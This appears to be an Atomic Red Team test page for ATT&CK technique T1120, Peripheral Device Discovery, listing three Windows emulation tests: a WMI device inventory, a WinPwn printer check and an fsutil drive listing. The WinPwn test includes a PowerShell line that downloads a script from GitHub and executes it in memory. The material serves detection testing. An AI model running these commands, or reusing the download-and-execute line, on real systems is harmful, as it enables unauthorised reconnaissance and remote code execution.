T1120 - Peripheral Device Discovery

Description from ATT&CK

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Atomic Tests


Atomic Test #1 - Win32_PnPEntity Hardware Inventory

Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

Supported Platforms: Windows

auto_generated_guid: 2cb4dbf2-2dca-4597-8678-4d39d207a3a5

Attack Commands: Run with 
1

powershell
!

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Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt

Cleanup Commands:

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Remove-Item $env:TEMP\T1120_collection.txt -ErrorAction Ignore



Atomic Test #2 - WinPwn - printercheck

Search for printers / potential vulns using printercheck function of WinPwn

Supported Platforms: Windows

auto_generated_guid: cb6e76ca-861e-4a7f-be08-564caa3e6f75

Attack Commands: Run with 
1

powershell
!

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$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput



Atomic Test #3 - Peripheral Device Discovery via fsutil

Performs pheripheral device discovery utilizing fsutil to list all drives.

Supported Platforms: Windows

auto_generated_guid: 424e18fd-48b8-4201-8d3a-bf591523a686

Attack Commands: Run with 
1

command_prompt
!

fsutil fsinfo drives